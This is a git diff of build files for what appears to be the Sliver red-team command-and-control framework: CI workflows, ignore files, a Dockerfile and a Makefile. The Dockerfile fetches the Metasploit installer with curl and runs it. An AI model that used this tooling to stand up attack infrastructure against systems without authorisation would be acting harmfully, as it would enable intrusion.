Added depware

.dockerignore

@@ -1,21 +1,28 @@
-/server/assets/fs/**.zip
+assets/*.zip
+assets/darwin
+assets/linux
+assets/windows
+server/assets/fs/**.zip
 
-/*.sdk.tar.xz
+*.sdk.tar.xz
 
-/sliver-server
-/sliver-server.exe
+sliver-server
+sliver-server.exe
 
-/sliver-client
-/sliver-client.exe
+sliver-client
+sliver-client.exe
 
-/.vscode/
-/.vscode/*
+gui/
+gui/*
 
-/.github/
-/.github/*
+.vscode/
+.vscode/*
 
-/build.py
-/LICENSE
-/SECURITY.md
-/README.md
-/CONTRIBUTING.md
+.github/
+.github/*
+
+build.py
+LICENSE
+SECURITY.md
+README.md
+CONTRIBUTING.md

.github/CODEOWNERS

@@ -1 +0,0 @@
-* @BishopFox/red-team

.github/codeql/codeql-config.yml

@@ -5,4 +5,4 @@ queries:
     uses: security-extended
     paths:
       - server
-      - client
+      - implant

.github/dependabot.yml

@@ -1,16 +0,0 @@
-# Basic set up for three package managers
-
-version: 2
-updates:
-
-  # Maintain dependencies for GitHub Actions
-  - package-ecosystem: "github-actions"
-    directory: "/"
-    schedule:
-      interval: "weekly"
-
-  # Maintain dependencies for go
-  - package-ecosystem: "gomod"
-    directory: "/"
-    schedule:
-      interval: "weekly"

.github/workflows/autorelease.yml

@@ -2,68 +2,95 @@ name: Release
 
 on:
   push:
+    tags: ["v[1-9]+.[0-9]+.[0-9]+"]
     branches: [master]
 
 jobs:
-  servers-build:
-    name: Release Build Server
+
+  linux-windows-build:
+    name: Linux & Windows Build
     if: startsWith( github.ref, 'refs/tags/v')
     runs-on: ubuntu-latest
     timeout-minutes: 45
     steps:
-      - name: Go 1.21
-        uses: actions/setup-go@v5
-        with:
-          go-version: "^1.21"
 
-      - name: OS Packages
-        run: |
-          sudo apt-get update --fix-missing && sudo apt-get -y install \
-          git build-essential zlib1g zlib1g-dev wget zip unzip
+    - name: Go 1.16
+      uses: actions/setup-go@v2
+      with:
+        go-version: '^1.16'
+    
+    - name: OS Packages 
+      run: |
+        sudo apt-get update --fix-missing && sudo apt-get -y install \
+        git build-essential zlib1g zlib1g-dev wget zip unzip \
+        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
-      - name: Check Out Code
-        uses: actions/checkout@v4
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v2
 
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
 
-      - name: Make
-        run: make servers
+    - name: Go Assets
+      run: ./go-assets.sh
 
-      - name: Server Artifacts
-        uses: actions/upload-artifact@v4
-        with:
-          name: servers
-          path: ./sliver-server_*
+    - name: Make
+      run: export PATH=/home/runner/go/bin/:$PATH && make linux
+  
+    - name: Linux Artifacts
+      uses: actions/upload-artifact@v2
+      with:
+        name: linux
+        path: ./sliver-*
 
-  clients-build:
-    name: Release Build Client
+    - name: Make Windows
+      run: export PATH=/home/runner/go/bin/:$PATH && make windows
+
+    - name: Windows Artifacts
+      uses: actions/upload-artifact@v2
+      with:
+        name: windows
+        path:  ./sliver-*
+
+  macos-build:
+    name: MacOS Build
     if: startsWith( github.ref, 'refs/tags/v')
-    runs-on: ubuntu-latest
+    runs-on: macos-latest
     timeout-minutes: 45
     steps:
-      - name: Go 1.22
-        uses: actions/setup-go@v5
-        with:
-          go-version: "^1.22"
 
-      - name: Check Out Code
-        uses: actions/checkout@v4
+    - name: Go 1.16
+      uses: actions/setup-go@v2
+      with:
+        go-version: '^1.16'
 
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
+    - name: Mingw
+      run: brew install mingw-w64
 
-      - name: Make
-        run: make clients
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v2
 
-      - name: Client Artifacts
-        uses: actions/upload-artifact@v4
-        with:
-          name: clients
-          path: ./sliver-client_*
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
+
+    - name: Go Assets
+      run: ./go-assets.sh
+
+    - name: Make AMD64
+      run: make macos
+    
+    # - name: Make ARM64
+    #   run: make macos-arm64
+
+    - name: MacOS Artifacts
+      uses: actions/upload-artifact@v2
+      with:
+        name: macos
+        path: ./sliver-*
 
   tagged-release:
-    needs: [servers-build, clients-build]
+
+    needs: [linux-windows-build, macos-build]
 
     name: "Tagged Release"
     if: startsWith( github.ref, 'refs/tags/v')
@@ -71,67 +98,54 @@ jobs:
     timeout-minutes: 45
 
     steps:
-      - run: mkdir -p ./builds
-      - uses: actions/download-artifact@v4
-        with:
-          path: ./builds
+    - run: mkdir -p ./release && mkdir -p ./artifacts
+    - uses: actions/download-artifact@v2
+      with:
+        path: ./artifacts
 
-      - name: Extract Artifacts
-        run: |
-          mkdir -p ./artifacts
-          cp ./builds/clients/* ./artifacts
-          cp ./builds/servers/* ./artifacts
+    - id: install-secret-key
+      name: GPG Key(s)
+      run: |
+        cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
+        gpg --list-secret-keys --keyid-format LONG
 
-      - name: GPG Key(s)
-        run: |
-          cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
-          gpg --list-secret-keys --keyid-format LONG
+    - name: Release
+      run: mkdir -p ./release
 
-      # Linux
-      - name: Linux 386 (Client Only)
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-386.sig --detach-sig ./artifacts/sliver-client_linux-386
-      - name: Linux AMD64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-amd64.sig --detach-sig ./artifacts/sliver-server_linux-amd64
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-amd64.sig --detach-sig ./artifacts/sliver-client_linux-amd64
-      - name: Linux ARM64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-arm64.sig --detach-sig ./artifacts/sliver-server_linux-arm64
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-arm64.sig --detach-sig ./artifacts/sliver-client_linux-arm64
+    # Linux
+    - name: Linux AMD64
+      run: |
+        zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
+        zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
+        gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
+        gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
 
-      # Windows
-      - name: Windows 386 (Client Only)
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-386.sig --detach-sig ./artifacts/sliver-client_windows-386.exe
-      - name: Windows AMD64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_windows-amd64.sig --detach-sig ./artifacts/sliver-server_windows-amd64.exe
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-amd64.sig --detach-sig ./artifacts/sliver-client_windows-amd64.exe
-      - name: Windows ARM64 (Client Only)
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-arm64.sig --detach-sig ./artifacts/sliver-client_windows-arm64.exe
+    # Windows
+    - name: Windows AMD64
+      run: |
+        zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
+        zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
+        gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
+        gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
 
-      # MacOS
-      - name: MacOS AMD64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-amd64.sig --detach-sig ./artifacts/sliver-server_macos-amd64
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-amd64.sig --detach-sig ./artifacts/sliver-client_macos-amd64
-      - name: Package MacOS ARM64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
+    # MacOS AMD64
+    - name: MacOS AMD64
+      run: |
+        zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
+        zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
+        gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
+        gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
 
-      # FreeBSD
-      - name: FreeBSD AMD64 (Client Only)
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-amd64.sig --detach-sig ./artifacts/sliver-client_freebsd-amd64.exe
-      - name: FreeBSD ARM64 (Client Only)
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-arm64.sig --detach-sig ./artifacts/sliver-client_freebsd-arm64.exe
+    # MacOS ARM64
+    # - name: Package MacOS ARM64
+    #   run: |
+    #     zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
+    #     zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
 
-      - name: "Publish Release"
-        uses: "bishopfox/action-gh-release@v1"
-        with:
-          files: |
-            ./artifacts/*
+    - name: "Publish Release"
+      uses: "marvinpinto/action-automatic-releases@latest"
+      with:
+        repo_token: "${{ secrets.GITHUB_TOKEN }}"
+        prerelease: false
+        files: |
+          ./release/*

.github/workflows/codeql-scanning.yml

@@ -4,25 +4,26 @@ on:
   push:
     branches:
       - test/*
-  pull_request:
-    branches:
-      - master
+  # pull_request:
+  #   branches:
+  #     - master
 
 jobs:
   CodeQL-Build:
     name: CodeQL Security Scan
+    # CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
     runs-on: ubuntu-latest
-    timeout-minutes: 90
+    timeout-minutes: 45
 
     steps:
       # Setup go environment
-      - name: Go 1.22
-        uses: actions/setup-go@v5
+      - name: Go 1.16
+        uses: actions/setup-go@v2
         with:
-          go-version: "^1.22"
+          go-version: "^1.16"
 
       - name: Checkout repository
-        uses: actions/checkout@v4
+        uses: actions/checkout@v2
         with:
           # Must fetch at least the immediate parents so that if this is
           # a pull request then we can checkout the head of the pull request.
@@ -33,21 +34,44 @@ jobs:
       - name: OS Packages
         run: |
           sudo apt-get update --fix-missing && sudo apt-get -y install \
-          git build-essential zlib1g zlib1g-dev wget zip unzip
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64
 
-      - name: Check Out Code
-        uses: actions/checkout@v4
+      - name: Protoc
+        env:
+          PROTOC_VER: 3.11.4
+        run: |
+          wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
+          && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
+          && sudo cp -vv ./bin/protoc /usr/local/bin/protoc
 
+      - name: Protoc-gen-go
+        env:
+          PROTOC_GEN_GO_VER: 1.3.5
+        run: |
+          wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
+          && tar xvf protoc-gen-go.tar.gz \
+          && cd protobuf-${PROTOC_GEN_GO_VER} \
+          && make install
+
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v2
+
+      - name: Go Assets
+        run: ./go-assets.sh
+
+      # Initializes the CodeQL tools for scanning.
       - name: Initialize CodeQL
-        uses: github/codeql-action/init@v3
+        uses: github/codeql-action/init@v1
         with:
           config-file: ./.github/codeql/codeql-config.yml
           languages: go
 
-      - name: Make
-        run: make
+      # Build the server ... is this necessary though?
+      - run: |
+          make
 
       - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@v3
+        uses: github/codeql-action/analyze@v1
         env:
           VERSION: ${{github.sha}}

.github/workflows/docs.yml

@@ -1,102 +0,0 @@
-# Sample workflow for building and deploying a Next.js site to GitHub Pages
-#
-# To get started with Next.js see: https://nextjs.org/docs/getting-started
-#
-name: Sliver Docs
-
-on:
-  # Runs on pushes targeting the default branch
-  push:
-    branches: ["master"]
-
-  # Allows you to run this workflow manually from the Actions tab
-  workflow_dispatch:
-
-# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
-permissions:
-  contents: read
-  pages: write
-  id-token: write
-
-# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
-# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
-concurrency:
-  group: "pages"
-  cancel-in-progress: false
-
-jobs:
-  build:
-    runs-on: ubuntu-latest
-    defaults:
-      run:
-        working-directory: ${{ github.workspace }}/docs/sliver-docs
-    env:
-      working-directory: ${{ github.workspace }}/docs/sliver-docs
-
-    steps:
-      - name: Checkout
-        uses: actions/checkout@v4
-
-      - name: Detect package manager
-        id: detect-package-manager
-        run: |
-          if [ -f "${{ github.workspace }}/docs/sliver-docs/yarn.lock" ]; then
-            echo "manager=yarn" >> $GITHUB_OUTPUT
-            echo "command=install" >> $GITHUB_OUTPUT
-            echo "runner=yarn" >> $GITHUB_OUTPUT
-            exit 0
-          elif [ -f "${{ github.workspace }}/docs/sliver-docs/package.json" ]; then
-            echo "manager=npm" >> $GITHUB_OUTPUT
-            echo "command=ci" >> $GITHUB_OUTPUT
-            echo "runner=npx --no-install" >> $GITHUB_OUTPUT
-            exit 0
-          else
-            echo "Unable to determine package manager"
-            exit 1
-          fi
-
-      - name: Setup Node
-        uses: actions/setup-node@v4
-        with:
-          cache: "npm"
-          cache-dependency-path: "**/package-lock.json"
-          node-version: "lts/*"
-
-      - name: Setup Pages
-        uses: actions/configure-pages@v5
-
-      - name: Restore cache
-        uses: actions/cache@v4
-        with:
-          path: |
-            .next/cache
-          # Generate a new cache whenever packages or source files change.
-          key: ${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-${{ hashFiles('**.[jt]s', '**.[jt]sx') }}
-          # If source files changed but packages didn't, rebuild from a prior cache.
-          restore-keys: |
-            ${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-
-
-      - name: Install dependencies
-        working-directory: ${{ env.working-directory}}
-        run: ${{ steps.detect-package-manager.outputs.manager }} ${{ steps.detect-package-manager.outputs.command }}
-
-      - name: Build with Next.js
-        working-directory: ${{ env.working-directory}}
-        run: ${{ steps.detect-package-manager.outputs.runner }} next build
-
-      - name: Upload artifact
-        uses: actions/upload-pages-artifact@v3
-        with:
-          path: ${{ github.workspace }}/docs/sliver-docs/out
-
-  # Deployment job
-  deploy:
-    environment:
-      name: github-pages
-      url: ${{ steps.deployment.outputs.page_url }}
-    runs-on: ubuntu-latest
-    needs: build
-    steps:
-      - name: Deploy to GitHub Pages
-        id: deployment
-        uses: actions/deploy-pages@v4

.github/workflows/go.yml

@@ -0,0 +1,77 @@
+name: Build & Test
+on:
+  push:
+    branches: 
+      - test/*
+  pull_request:
+    branches:
+      - master
+
+jobs:
+
+  linux-windows-build:
+    name: Linux & Windows Build
+    runs-on: ubuntu-latest
+    timeout-minutes: 45
+    steps:
+
+    - name: Go 1.16
+      uses: actions/setup-go@v2
+      with:
+        go-version: '^1.16'
+    
+    - name: OS Packages 
+      run: |
+        sudo apt-get update --fix-missing && sudo apt-get -y install \
+        git build-essential zlib1g zlib1g-dev wget zip unzip \
+        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v2
+
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
+
+    - name: Go Assets
+      run: ./go-assets.sh
+
+    - name: Make
+      run: make linux
+
+    - name: Test
+      run: ./sliver-server unpack --force && ./go-tests.sh
+
+    - name: Make Windows
+      run: make windows
+  
+  macos-build:
+    name: MacOS Build
+    runs-on: macos-latest
+    timeout-minutes: 45
+    steps:
+
+    - name: Go 1.16
+      uses: actions/setup-go@v2
+      with:
+        go-version: '^1.16'
+
+    - name: Mingw
+      run: brew install mingw-w64
+
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v2
+
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
+
+    - name: Go Assets
+      run: ./go-assets.sh
+
+    - name: Make
+      run: make macos
+
+    - name: Test
+      env:
+        SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
+        SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
+      run: ./sliver-server unpack --force && ./go-tests.sh

.github/workflows/unit-tests.yml

@@ -1,99 +0,0 @@
-name: Build & Test
-on:
-  pull_request:
-    branches:
-      - master
-    paths:
-      - "go.mod"
-      - "go.sum"
-      - "Makefile"
-      - "**/*.go"
-      - "**/*.c"
-      - "**/*.h"
-      - "**/*.sh"
-    types:
-      - opened
-      - reopened
-      - synchronize
-      - ready_for_review
-
-jobs:
-  linux-windows-build-test:
-    name: Linux & Windows Test
-    runs-on: ubuntu-latest
-    timeout-minutes: 90
-    steps:
-      - name: Go 1.22
-        uses: actions/setup-go@v5
-        with:
-          go-version: "^1.22"
-
-      - name: OS Packages
-        run: |
-          sudo apt-get update --fix-missing && sudo apt-get -y install \
-          git build-essential zlib1g zlib1g-dev wget zip unzip
-
-      - name: Check Out Code
-        uses: actions/checkout@v4
-
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
-
-      - name: Make Linux (amd64)
-        run: make linux-amd64
-
-      - name: Test Linux
-        run: ./sliver-server unpack --force && ./go-tests.sh
-
-      - name: Make Windows (amd64)
-        run: make windows-amd64
-
-      - name: Make Linux (arm64)
-        run: make linux-arm64
-
-  macos-build-test:
-    name: MacOS Test
-    runs-on: macos-latest
-    timeout-minutes: 90
-    steps:
-      - name: Go 1.22
-        uses: actions/setup-go@v5
-        with:
-          go-version: "^1.22"
-
-      - name: Mingw
-        run: brew install mingw-w64
-
-      - name: Check Out Code
-        uses: actions/checkout@v4
-
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
-
-      - name: Make MacOS (amd64)
-        run: make macos-amd64
-
-      - name: Test MacOS (amd64)
-        run: ./sliver-server unpack --force && ./go-tests.sh
-
-      - name: Make MacOS (arm64)
-        run: make macos-arm64
-
-  clients-build:
-    name: Clients Build
-    runs-on: ubuntu-latest
-    timeout-minutes: 90
-    steps:
-      - name: Go 1.22
-        uses: actions/setup-go@v5
-        with:
-          go-version: "^1.22"
-
-      - name: Check Out Code
-        uses: actions/checkout@v4
-
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
-
-      - name: Make
-        run: make clients

.gitignore

@@ -1,11 +1,10 @@
-/.vscode/*
-/.devcontainer
-/.idea
+.vscode/*
+.devcontainer
 
-/Dockerfile.*
-/*.sdk.tar.xz
+Dockerfile.*
+*.sdk.tar.xz
 
-/release-*
+release-*
 
 # Diffs
 *.orig
@@ -14,12 +13,10 @@
 /sliver-server
 /sliver-server_arm64
 /sliver.exe
-/sliver-server_*
 
 /sliver-client
 /sliver-client_arm64
 /sliver-client.exe
-/sliver-client_*
 
 sliver-server-linux.zip
 sliver-server-macos.zip
@@ -33,18 +30,12 @@ sliver-server-windows.zip
 *.dylib
 
 # Test binary, build with `go test -c`
-/*.test
-/test.py
+*.test
 
 # Output of the go coverage tool, specifically when used with LiteIDE
-/*.out
+*.out
 
 # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
 .glide/
 
 .DS_Store
-
-dist/
-
-# Flag to show that go-assets.sh has been run
-.downloaded_assets

CONTRIBUTING.md

@@ -24,10 +24,9 @@ Contributing to Sliver
 * _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
 * Whenever possible, use the following algorithms/encryption modes:
     - AES-GCM-256
+    - RSA-OAEP-2048 / RSA-OAEP-4096
     - SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
     - Curves P521, P384, P256
-    - Curve25519, XSalsa20, and Poly1305 (Nacl)
-    - ChaCha20Poly1305
 * _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
     - MD5
     - SHA1

Dockerfile

@@ -1,120 +1,71 @@
+FROM golang:1.16.7
+
 #
-# For production:
-#   docker build --target production -t sliver .
-#   docker run -it --rm -v $HOME/.sliver:/home/sliver/.sliver sliver 
-#
-# For unit testing:
-#   docker build --target test .
+# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+#            Sliver using this container configuration! However, if you do want
+#            a Docker deployment this is probably a good place to start.
 #
 
-# STAGE: base
-## Compiles Sliver for use
-FROM golang:1.22.2 as base
+ENV PROTOC_VER 3.17.1
+ENV PROTOC_GEN_GO_VER v1.26.0
+ENV GRPC_GO v1.1.0
 
-### Base packages
+# Base packages
 RUN apt-get update --fix-missing && apt-get -y install \
-    git build-essential zlib1g zlib1g-dev wget zip unzip
+  git build-essential zlib1g zlib1g-dev \
+  libxml2 libxml2-dev libxslt-dev locate curl \
+  libreadline6-dev libcurl4-openssl-dev git-core \
+  libssl-dev libyaml-dev openssl autoconf libtool \
+  ncurses-dev bison curl wget xsel postgresql \
+  postgresql-contrib postgresql-client libpq-dev \
+  libapr1 libaprutil1 libsvn1 \
+  libpcap-dev libsqlite3-dev libgmp3-dev \
+  zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
+  nasm gcc-multilib
 
-### Add sliver user
+#
+# > User
+#
 RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
 RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
 
-### Build sliver:
-WORKDIR /go/src/github.com/bishopfox/sliver
-ADD . /go/src/github.com/bishopfox/sliver/
-RUN make clean-all 
-RUN make 
-RUN cp -vv sliver-server /opt/sliver-server 
-
-# STAGE: test
-## Run unit tests against the compiled instance
-## Use `--target test` in the docker build command to run this stage
-FROM base as test
-
-RUN apt-get update --fix-missing \
-    && apt-get -y upgrade \
-    && apt-get -y install \
-    curl
-
-RUN /opt/sliver-server unpack --force 
-
-### Run unit tests
-RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
-
-# STAGE: production
-## Final dockerized form of Sliver
-FROM debian:bookworm-slim as production
-
-### Install production packages
-RUN apt-get update --fix-missing \
-    && apt-get -y upgrade \
-    && apt-get -y install \
-    libxml2 libxml2-dev libxslt-dev locate gnupg \
-    libreadline6-dev libcurl4-openssl-dev git-core \
-    libssl-dev libyaml-dev openssl autoconf libtool \
-    ncurses-dev bison curl xsel postgresql \
-    postgresql-contrib postgresql-client libpq-dev \
-    curl libapr1 libaprutil1 libsvn1 \
-    libpcap-dev libsqlite3-dev libgmp3-dev \
-    nasm
-
-### Install MSF for stager generation
+#
+# > Metasploit
+#
 RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
-    && chmod 755 msfinstall \
-    && ./msfinstall \
-    && mkdir -p ~/.msf4/ \
-    && touch ~/.msf4/initial_setup_complete 
+  && chmod 755 msfinstall \
+  && ./msfinstall
+RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
+    &&  su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
 
-### Cleanup unneeded packages
-RUN apt-get remove -y curl gnupg \
-    && apt-get autoremove -y \
-    && apt-get clean \
-    && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
+#
+# > Sliver
+#
 
-### Add sliver user
-RUN groupadd -g 999 sliver \
-    && useradd -r -u 999 -g sliver sliver \
-    && mkdir -p /home/sliver/ \
-    && chown -R sliver:sliver /home/sliver \
-    && su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
+# protoc
+WORKDIR /tmp
+RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
+    && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
+    && cp -vv ./bin/protoc /usr/local/bin
 
-### Copy compiled binary
-COPY --from=base /opt/sliver-server  /opt/sliver-server
+RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
+    && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
+
+# assets
+WORKDIR /go/src/github.com/bishopfox/sliver
+ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
+RUN ./go-assets.sh
+
+ADD . /go/src/github.com/bishopfox/sliver/
+RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
+
+RUN ls -lah \
+    && /opt/sliver-server unpack --force \
+    && /go/src/github.com/bishopfox/sliver/go-tests.sh
+RUN make clean \
+    && rm -rf /go/src/* \
+    && rm -rf /home/sliver/.sliver
 
-### Unpack Sliver:
 USER sliver
-RUN /opt/sliver-server unpack --force 
-
 WORKDIR /home/sliver/
-VOLUME [ "/home/sliver/.sliver" ]
-ENTRYPOINT [ "/opt/sliver-server" ]
-
-
-# STAGE: production-slim (about 1Gb smaller)
-FROM debian:bookworm-slim as production-slim
-
-### Install production packages
-RUN apt-get update --fix-missing \
-    && apt-get -y upgrade
-
-### Cleanup unneeded packages
-RUN apt-get autoremove -y \
-    && apt-get clean \
-    && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
-
-### Add sliver user
-RUN groupadd -g 999 sliver \
-    && useradd -r -u 999 -g sliver sliver \
-    && mkdir -p /home/sliver/ \
-    && chown -R sliver:sliver /home/sliver
-
-### Copy compiled binary
-COPY --from=base /opt/sliver-server  /opt/sliver-server
-
-### Unpack Sliver:
-USER sliver
-RUN /opt/sliver-server unpack --force 
-
-WORKDIR /home/sliver/
-VOLUME [ "/home/sliver/.sliver" ]
 ENTRYPOINT [ "/opt/sliver-server" ]

Makefile

@@ -3,63 +3,35 @@
 #
 
 GO ?= go
-ARTIFACT_SUFFIX ?= 
-ENV =
-TAGS ?= -tags go_sqlite
-CGO_ENABLED = 0
-
-ifneq (,$(findstring cgo_sqlite,$(TAGS)))
-	CGO_ENABLED = 1
-endif
-
-#
-# Prerequisites 
-#
-# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
-EXECUTABLES = uname sed git zip date cut $(GO)
-K := $(foreach exec,$(EXECUTABLES),\
-        $(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
+ENV = CGO_ENABLED=1
+TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
 
 #
 # Version Information
 #
 GO_VERSION = $(shell $(GO) version)
-GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
-GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
-MIN_SUPPORTED_GO_MAJOR_VERSION = 1
-MIN_SUPPORTED_GO_MINOR_VERSION = 21
-GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
-
 VERSION ?= $(shell git describe --abbrev=0)
 COMPILED_AT = $(shell date +%s)
-RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
-ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
-ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
-VERSION_PKG = github.com/bishopfox/sliver/client/version
-CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
-
+RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
+PKG = github.com/bishopfox/sliver/client/version
 GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
 GIT_COMMIT = $(shell git rev-parse HEAD)
-
 LDFLAGS = -ldflags "-s -w \
-	-X $(VERSION_PKG).Version=$(VERSION) \
-	-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-	-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
+	-X $(PKG).Version=$(VERSION) \
+	-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
+	-X $(PKG).CompiledAt=$(COMPILED_AT) \
+	-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
+	-X $(PKG).GitCommit=$(GIT_COMMIT) \
+	-X $(PKG).GitDirty=$(GIT_DIRTY)"
 
-# Debug builds shouldn't be stripped (-s -w flags)
-LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
-	-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-	-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
